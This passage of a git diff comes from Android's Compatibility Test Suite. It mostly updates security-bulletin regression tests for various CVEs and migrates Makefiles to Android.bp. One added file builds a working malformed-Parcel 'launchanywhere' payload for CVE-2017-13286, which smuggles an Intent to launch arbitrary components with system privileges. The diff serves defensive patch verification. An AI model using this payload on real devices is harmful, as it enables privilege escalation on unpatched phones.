* See the License for the specific language governing permissions and
* limitations under the License.
*/
+
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
@@ -28,7 +29,7 @@
AdbUtils.runCommandLine("logcat -c", getDevice());
AdbUtils.runPoc("CVE-2012-6702", getDevice(), 60);
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*fail: encountered same random values![\\s\\n\\S]*", logcat);
+ assertNotMatchesMultiLine("fail: encountered same random values!", logcat);
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index 27ded73..e2e5134 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -27,7 +27,7 @@
AdbUtils.runCommandLine("logcat -c", getDevice());
AdbUtils.runPoc("CVE-2017-0426", getDevice(), 60);
String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*Bugreports file in wrong path[\\s\\n\\S]*", logcatOut);
+ assertNotMatchesMultiLine("Bugreports file in wrong path", logcatOut);
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 0956581..0239883 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -66,8 +66,8 @@
public void testPocCVE_2017_0334() throws Exception {
if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
- assertNotMatchesMultiLine(".*Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
- +"|0x[c-fC-F][a-fA-F0-9]{7}).*",out);
+ assertNotMatchesMultiLine("Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
+ +"|0x[c-fC-F][a-fA-F0-9]{7})",out);
}
}
@@ -79,8 +79,8 @@
AdbUtils.runCommandLine("logcat -c" , getDevice());
AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine(".*Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
- "audioserver <<<.*", logcatOut);
+ assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
+ "audioserver <<<", logcatOut);
}
/*
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index ae83bcb..248e257 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -47,7 +47,7 @@
@SecurityTest(minPatchLevel = "2017-04")
public void testPocCVE_2016_10229() throws Exception {
String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
- assertNotMatchesMultiLine(".*OVERWRITE.*", out);
+ assertNotMatchesMultiLine("OVERWRITE", out);
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
deleted file mode 100644
index 87f6fde..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_05 extends SecurityTestCase {
-
- /**
- * b/34277115
- */
- @SecurityTest(minPatchLevel = "2017-05")
- public void testPocCVE_2017_0630() throws Exception {
- if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
- String commandOutput = AdbUtils.runCommandLine("cat /sys/kernel/debug/tracing" +
- "/printk_formats", getDevice());
- assertNotMatchesMultiLine(".*0x(?!0){8,16}[0-9a-fA-F]{8,16} : .*", commandOutput);
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index cdeec39..e1c4977 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -34,8 +34,8 @@
// Wait for intent to be processed before checking logcat
Thread.sleep(5000);
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+ assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\)" +
"[\\s\\n\\S]*>>> /system/bin/" +
- "mediaserver <<<[\\s\\n\\S]*", logcat);
+ "mediaserver <<<", logcat);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 7c0936a..67becec 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -27,7 +27,7 @@
@SecurityTest(minPatchLevel = "2017-12")
public void testPocCVE_2017_6262() throws Exception {
if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
- AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 900);
+ AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index a4eb539..c9f48f9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -46,7 +46,7 @@
AdbUtils.runPoc("CVE-2017-13273", getDevice(), 60);
String dmesgOut = AdbUtils.runCommandLine("cat /sys/fs/pstore/console-ramoops",
getDevice());
- assertNotMatches("[\\s\\n\\S]*CVE-2017-132736 Tainted:" + "[\\s\\n\\S]*" +
+ assertNotMatchesMultiLine("CVE-2017-132736 Tainted:" + "[\\s\\n\\S]*" +
"Kernel panic - not syncing: Fatal exception in interrupt", dmesgOut);
}
AdbUtils.runCommandLine("setenforce 1",getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index a8af91a..4bf7b80 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -26,6 +26,6 @@
@SecurityTest(minPatchLevel = "2018-03")
public void testPocCVE_2017_13253() throws Exception {
String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
- assertNotMatchesMultiLine(".*OVERFLOW DETECTED.*",output);
+ assertNotMatchesMultiLine("OVERFLOW DETECTED",output);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
new file mode 100644
index 0000000..02436e7
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -0,0 +1,32 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.runner.RunWith;
+
+public class Poc18_04 extends SecurityTestCase {
+ /**
+ * b/69683251
+ * Does not require root but must be a hostside test to avoid
+ * a race condition
+ */
+ @SecurityTest(minPatchLevel = "2018-04")
+ public void testPocCVE_2017_13286() throws Exception {
+ LaunchSomeWhere.launchSomeWhere("CVE_2017_13286", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 4d8d73b..9595d5a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -30,6 +30,6 @@
AdbUtils.runCommandLine("logcat -c" , getDevice());
AdbUtils.runPoc("CVE-2018-9424", getDevice(), 60);
String result = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*Fatal signal [\\s\\n\\S]*", result);
+ assertNotMatchesMultiLine("Fatal signal", result);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
new file mode 100644
index 0000000..9e50e1e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+import static org.junit.Assert.*;
+
+@SecurityTest
+public class Poc18_11 extends SecurityTestCase {
+
+ /**
+ * b/111330641
+ */
+ @SecurityTest(minPatchLevel = "2018-11")
+ public void testPocCVE_2018_9525() throws Exception {
+ assertTrue(AdbUtils.runCommandGetExitCode(
+ "pm dump com.android.settings | grep SliceBroadcastReceiver", getDevice()) != 0);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
new file mode 100644
index 0000000..752b06d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
@@ -0,0 +1,78 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.launchanywhere;
+
+import com.android.security.cts.launchanywhere.IGenerateMalformedParcel;
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13286 implements IGenerateMalformedParcel {
+ @Override
+ public Parcel generate(Intent intent) {
+ Parcel data = Parcel.obtain();
+ data.writeInterfaceToken("android.accounts." +
+ "IAccountAuthenticatorResponse");
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(3);
+
+ data.writeString("launchanywhere");
+ data.writeInt(4);
+ data.writeString("android.hardware.camera2.params.OutputConfiguration");
+ data.writeInt(0);
+ data.writeInt(1);
+ data.writeInt(2);
+ data.writeInt(3);
+ data.writeInt(4);
+ data.writeInt(5);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(13);
+
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+
+ return data;
+ }
+}
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
new file mode 100644
index 0000000..3c1cdfa
--- /dev/null
+++ b/hostsidetests/statsd/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsStatsdHostTestCases",
+ srcs: ["src/**/*.java"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ "host-libprotobuf-java-full",
+ "platformprotos",
+ ],
+}
diff --git a/hostsidetests/statsd/Android.mk b/hostsidetests/statsd/Android.mk
deleted file mode 100644
index 0be6af6..0000000
--- a/hostsidetests/statsd/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsStatsdHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util host-libprotobuf-java-full platformprotos
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/statsd/apps/Android.mk b/hostsidetests/statsd/apps/Android.mk
deleted file mode 100644
index 4a74e80..0000000
--- a/hostsidetests/statsd/apps/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
new file mode 100644
index 0000000..bf3a684
--- /dev/null
+++ b/hostsidetests/statsd/apps/statsdapp/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsStatsdApp",
+ defaults: ["cts_defaults"],
+ platform_apis: true,
+ srcs: ["src/**/*.java"],
+ libs: [
+ "android.test.runner.stubs",
+ "junit",
+ "org.apache.http.legacy",
+ ],
+ privileged: true,
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ "androidx.legacy_legacy-support-v4",
+ "androidx.test.rules",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.mk b/hostsidetests/statsd/apps/statsdapp/Android.mk
deleted file mode 100644
index 5701bd5..0000000
--- a/hostsidetests/statsd/apps/statsdapp/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsStatsdApp
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit org.apache.http.legacy
-
-LOCAL_PRIVILEGED_MODULE := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt \
- androidx.legacy_legacy-support-v4 \
- androidx.test.rules \
- statsdprotolite
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/tzdata/OWNERS b/hostsidetests/tzdata/OWNERS
new file mode 100644
index 0000000..2d36574
--- /dev/null
+++ b/hostsidetests/tzdata/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include platform/libcore:/OWNERS
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
index b2c65d5..e86809b 100644
--- a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -137,14 +137,13 @@
}
/**
- * Test the real base files exist in the expected locations - tzcdatacheck relies on some of
- * them via a command line argument hardcoded in system/core/rootdir/init.rc.
+ * Test the base file used by tzdatacheck exists in the expected location - tzcdatacheck relies
+ * on this file to determine the version of tzdata on device. The path is passed to tzdatacheck
+ * via a command line argument hardcoded in system/core/rootdir/init.rc.
*/
public void testExpectedBaseFilesExist() throws Exception {
- String baseTzFilesDir = "/apex/com.android.runtime/etc/tz/";
+ String baseTzFilesDir = "/apex/com.android.tzdata/etc/tz/";
assertDeviceFileExists(baseTzFilesDir + "tz_version");
- assertDeviceFileExists(baseTzFilesDir + "tzdata");
- assertDeviceFileExists(baseTzFilesDir + "tzlookup.xml");
}
public void testTooFewArgs() throws Exception {
diff --git a/libs/testserver/src/android/webkit/cts/CtsTestServer.java b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
index 14d829c..001590d 100644
--- a/libs/testserver/src/android/webkit/cts/CtsTestServer.java
+++ b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
@@ -944,7 +944,6 @@
}
return;
} catch (IOException e) {
- Log.w(TAG, e);
if (--retry == 0) {
throw e;
}
diff --git a/tests/JobSchedulerSharedUid/Android.bp b/tests/JobSchedulerSharedUid/Android.bp
new file mode 100644
index 0000000..1320dc2
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsJobSchedulerSharedUidTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "compatibility-device-util-axt",
+ "ub-uiautomator",
+ "androidx.test.rules",
+ ],
+ libs: ["android.test.base.stubs"],
+ srcs: [
+ "src/**/*.java",
+ "JobSharedUidTestApp/src/**/*.java",
+ "jobperm/src/**/*.java",
+ "shareduid/src/**/*.java",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ //sdk_version: "current"
+ platform_apis: true,
+
+}
diff --git a/tests/JobSchedulerSharedUid/Android.mk b/tests/JobSchedulerSharedUid/Android.mk
deleted file mode 100755
index 0b9912c..0000000
--- a/tests/JobSchedulerSharedUid/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ub-uiautomator androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, JobSharedUidTestApp/src)
-LOCAL_SRC_FILES += $(call all-java-files-under, jobperm/src)
-LOCAL_SRC_FILES += $(call all-java-files-under, shareduid/src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUidTestCases
-
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
new file mode 100644
index 0000000..6ff76da
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsJobSharedUidTestApp",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "current",
+}
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk
deleted file mode 100644
index f3d36db..0000000
--- a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsJobSharedUidTestApp
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.bp b/tests/JobSchedulerSharedUid/jobperm/Android.bp
new file mode 100644
index 0000000..9ac380c
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/jobperm/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsJobSchedulerJobPerm",
+ defaults: ["cts_defaults"],
+ static_libs: ["compatibility-device-util-axt"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ platform_apis: true,
+}
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.mk b/tests/JobSchedulerSharedUid/jobperm/Android.mk
deleted file mode 100644
index 44ecdf3..0000000
--- a/tests/JobSchedulerSharedUid/jobperm/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util-axt \
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsJobSchedulerJobPerm
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.bp b/tests/JobSchedulerSharedUid/shareduid/Android.bp
new file mode 100644
index 0000000..68ed7f5
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/shareduid/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
